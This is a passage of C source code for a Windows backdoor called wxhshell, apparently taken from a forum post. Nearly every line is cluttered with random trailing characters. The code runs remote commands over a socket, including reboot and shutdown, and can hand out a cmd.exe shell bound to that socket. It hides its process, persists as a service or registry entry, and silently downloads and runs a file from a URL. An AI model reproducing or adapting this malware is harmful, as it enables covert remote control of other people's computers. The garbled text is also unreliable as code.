  else { {Byh:-e<  
xn,9Wj-  
    switch(cmd[0]) { BfD&e`KI  
  1+YqdDqQ  
  // 帮助 9PMIF9"   
  case '?': { Xg* ](>/\,  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); N,3iSH=cN[  
    break; u(\O@5a  
  } T''<yS  
  // 安装 5G$5d:[(  
  case 'i': { i4nFjz  
    if(Install()) U.JE \/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /'b7q y  
    else n 8 K6m(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lj3Pp$h  
    break; &~2I Fp  
    } 8_"NF%%(n  
  // 卸载 +_+j"BT  
  case 'r': { `*U$pg  
    if(Uninstall()) 0%4OmLBT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =|8hG*D8  
    else n9n)eI)R  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O%N.;Ve  
    break; P(/eVD#v  
    } #<EYO  
  // 显示 wxhshell 所在路径 Vjw u:M  
  case 'p': { tw&v@HUP  
    char svExeFile[MAX_PATH]; mCG&=Fx  
    strcpy(svExeFile,"\n\r"); =%7s0l3z  
      strcat(svExeFile,ExeFile); vm'ZA7f6  
        send(wsh,svExeFile,strlen(svExeFile),0); N"suR}9%  
    break; >k/cm3  
    } JodD6 ;P  
  // 重启 h72CGA|  
  case 'b': { QR_h#N2h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); UGj |)/  
    if(Boot(REBOOT)) DfP-(Lm)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R=F_U  
    else { =0!j"z=  
    closesocket(wsh); #<ST.f@*  
    ExitThread(0); )*S:C   
    } _SJ:|I  
    break; 9 <{C9  
    } j@ D,2B;  
  // 关机 {]Hv*{ ]  
  case 'd': { X 8R`C0   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Bc[~'gn  
    if(Boot(SHUTDOWN)) 7GWOJ^)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y&-QLX L  
    else { nosD1sS.K8  
    closesocket(wsh); I.GoY[u_%  
    ExitThread(0); x5mg<y2`Ng  
    } nw0#gDI|  
    break; /of K7/  
    } 2J8:_Ql3I  
  // 获取shell u+KZ. n/  
  case 's': { BP0:<vK{  
    CmdShell(wsh); W)/^*, Q7  
    closesocket(wsh); "Y=`w,~~  
    ExitThread(0); \7"|'fz  
    break; qc 5[ e  
  } #j=yQrJ  
  // 退出 $|.8@ nj  
  case 'x': { ^B% =P  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l-l7jq]R  
    CloseIt(wsh); V 3cKbk7~  
    break; nS*Y+Q^9a  
    } % hvK;B?Y|  
  // 离开 AyOibnoZ2E  
  case 'q': { rxH]'6kP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); y,3ZdY"  
    closesocket(wsh); ``Q6R2[|)  
    WSACleanup(); ;'= cNj  
    exit(1); c$%*p (zY  
    break; $i5J}  
        } W>)0=8#\  
  } mpMAhm:  
  } %kjG[C  
!W9:)5^X  
  // 提示信息 `+"(GaZ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y{>f^S<  
} ?! 6Itkg  
  } @ 2)nhW/z6  
%dFJ'[jDL  
  return; Qop,~yK  
} ABX%oZ7[|o  
J5I@*f)l  
// shell模块句柄 yy7(')wKO  
int CmdShell(SOCKET sock) .t5.(0Xk[A  
{ ;54NQB3L  
STARTUPINFO si; %BP>,E/w  
ZeroMemory(&si,sizeof(si)); k[;)/LfhS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^hmV?a:Y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]myRYb5Z  
PROCESS_INFORMATION ProcessInfo; J-5>+E,nZ  
char cmdline[]="cmd"; 8Auek#[  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,0.kg  
  return 0; yJq<&g  
} y]m: {  
AcPLJ!y  
// 自身启动模式 Aj4 a-vd.  
int StartFromService(void) `KFEzv  
{ 8b)WOr6n  
typedef struct  JhFbze>  
{ |JxVfX8^  
  DWORD ExitStatus; 9Yv:6@.F  
  DWORD PebBaseAddress;  % D  
  DWORD AffinityMask; O {1" I  
  DWORD BasePriority; EIg~^xK  
  ULONG UniqueProcessId; 'Oue 1[  
  ULONG InheritedFromUniqueProcessId; 3I_^F&T  
}   PROCESS_BASIC_INFORMATION; pg4W?N`  
% /VCjuV  
PROCNTQSIP NtQueryInformationProcess; &uK(. @  
6*q1%rs:w  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^{4BcM7eH  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;7QXs39S  
Mh.1KI[t  
  HANDLE             hProcess; 10Ik_L='  
  PROCESS_BASIC_INFORMATION pbi; <\~v$=G  
3ic /xy;}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ahg:mlaob  
  if(NULL == hInst ) return 0; A'DFY {  
I)Xf4F S@  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E1eGZ&&Gd  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); CO='[1"_5  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); g Ed A hfx  
tQ|c.`)W  
  if (!NtQueryInformationProcess) return 0; olE(#}7V  
u ]e-IYH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); OlOOg  
  if(!hProcess) return 0; i/x |c!E  
)4L2&e`k)(  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p"ZvA^d\   
nF<K84  
  CloseHandle(hProcess); uL`#@nI  
ny5 P*yWEh  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [iub}e0  
if(hProcess==NULL) return 0; S4x9k{Xn  
$r/$aq=K  
HMODULE hMod; }qn>#ETi  
char procName[255]; .N X9A b  
unsigned long cbNeeded; V]F D'XAl  
'[ t.  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ,a?)O6?/  
gyw=1q+  
  CloseHandle(hProcess); |LZ;2 i  
bC `<A  
if(strstr(procName,"services")) return 1; // 以服务启动 z1mB Hz6  
A@}5'LzL  
  return 0; // 注册表启动 $0_K&_5w~  
} %Jt35j@Ee  
nqj(V  
// 主模块 yE8D^M|g  
int StartWxhshell(LPSTR lpCmdLine) !kovrvM6F  
{ ba|xf@=&  
  SOCKET wsl; K81X32Lm'  
BOOL val=TRUE; d`^3fr'.4A  
  int port=0; o08WC'bX  
  struct sockaddr_in door; |g&V? lI  
Lv%3 jj  
  if(wscfg.ws_autoins) Install(); J3eud}w  
8;@y\0  
port=atoi(lpCmdLine); FEjO}lTK  
*7xcwj eP  
if(port<=0) port=wscfg.ws_port; V~*Gk!+f  
l=CAr  
  WSADATA data; XV]N}~h o`  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; sgfqIe1  
z &EDW 5I  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &=g3J4$z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); * ,a F-  
  door.sin_family = AF_INET; 0= $/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); q<&1,^ A  
  door.sin_port = htons(port); tvI<Why\p  
Ei!Z]jeK  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k&$ov  
closesocket(wsl); d&+]@ Ii  
return 1; & FhJ%JK  
} t1w5U+z  
zZCl]cql  
  if(listen(wsl,2) == INVALID_SOCKET) { FK^xZ?G  
closesocket(wsl); FRQ.ix2  
return 1; {-4+=7Sg1  
} @_ %RQO_X  
  Wxhshell(wsl); cMY}Y [2c  
  WSACleanup(); rN}pi@  
A9xe Oy8e  
return 0; //63|;EEkl  
g04^M (  
} 1&boD\ 7  
\CjJa(vV  
// 以NT服务方式启动 ?Lg<)B9   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) EF)BezG5y  
{ 5?0<.f,  
DWORD   status = 0; 32ki ?\P  
  DWORD   specificError = 0xfffffff; ^~~Rto)Y  
wA5Iz{uQO  
  serviceStatus.dwServiceType     = SERVICE_WIN32; :r q~5hK  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; eFiG:LS7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X:i?gRy"  
  serviceStatus.dwWin32ExitCode     = 0; 50_[hC&C)  
  serviceStatus.dwServiceSpecificExitCode = 0; wH~A> 4*(  
  serviceStatus.dwCheckPoint       = 0; <m-(B"F X  
  serviceStatus.dwWaitHint       = 0; 7Eyi~jes  
KQf WpHwfj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); )> ZT{eF  
  if (hServiceStatusHandle==0) return; n41#  
$g>bp<9v4  
status = GetLastError(); clvg5{^q[  
  if (status!=NO_ERROR) ~+\=X`y  
{ "'v+*H 3  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s<YN*~  
    serviceStatus.dwCheckPoint       = 0; @[r[l#4yUi  
    serviceStatus.dwWaitHint       = 0; \!^=~` X-  
    serviceStatus.dwWin32ExitCode     = status; apL$`{>US  
    serviceStatus.dwServiceSpecificExitCode = specificError; aO1^>hy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =Y2 Rht  
    return; 4/(#masIL  
  } eo]nkyYDP  
A%D 'Z85 -  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !aT:0m$:9c  
  serviceStatus.dwCheckPoint       = 0; "@G[:(BoB<  
  serviceStatus.dwWaitHint       = 0; { )qr3-EM#  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 2y`h'z  
} IWo'{pk  
8eB,$;i  
// 处理NT服务事件,比如:启动、停止 EE"8s7ZF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l[E^nh>  
{ h .Qk{v  
switch(fdwControl) 7!J-/#!  
{ Jqxd92 bI  
case SERVICE_CONTROL_STOP: B:"D)/\  
  serviceStatus.dwWin32ExitCode = 0; 7NvKp inQ  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gv67+Mf  
  serviceStatus.dwCheckPoint   = 0; `3\aX|4@  
  serviceStatus.dwWaitHint     = 0; 2K:A4)jZ  
  { AS;Sz/YP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yY#h 1  
  } r?DCR\Jq  
  return; _^_3>}y5op  
case SERVICE_CONTROL_PAUSE: :ts3_-cr  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; O\<zQ2m  
  break; )BJkHED{  
case SERVICE_CONTROL_CONTINUE: %"{P?V<-V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mqZK1<r  
  break; hV@ N -u^  
case SERVICE_CONTROL_INTERROGATE: ZUI6VM  
  break; qx#M6\L!  
}; v< P0f"GH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ta?NO{*  
} `4K|L6  
9 dNB _  
// 标准应用程序主函数 ,b5'<3\  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t'2A)S  
{ $#rkvG_w  
qm=U<'b^  
// 获取操作系统版本 h3`}{ w  
OsIsNt=GetOsVer(); !=YEhQ-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?|ZbQz(bL  
Ck/44Wfej  
  // 从命令行安装 GFFwk4n1  
  if(strpbrk(lpCmdLine,"iI")) Install(); 7^i7U-A<A  
'HW l_M  
  // 下载执行文件 $NR[U+  
if(wscfg.ws_downexe) { xb\EJ1M>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3wfcGQn|sD  
  WinExec(wscfg.ws_filenam,SW_HIDE); HO<|EH~lu  
} |Ahf 01  
=d Q[I6  
if(!OsIsNt) { uGZGI;9f4  
// 如果时win9x,隐藏进程并且设置为注册表启动 `t/j6 e]  
HideProc(); _*H Hdd5I  
StartWxhshell(lpCmdLine); r|l?2 eO~  
} (7qlp*8.s  
else xN*k&!1&  
  if(StartFromService()) $.D )Llcq  
  // 以服务方式启动 qWH^/o  
  StartServiceCtrlDispatcher(DispatchTable); i(% 2t(wf+  
else K<^p~'f4P  
  // 普通方式启动 g>t1rZ  
  StartWxhshell(lpCmdLine); bll[E}E|3  
o-bH3Jkb]&  
return 0; 6>]  
}
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只看该作者 1 发表于: 2006-10-10
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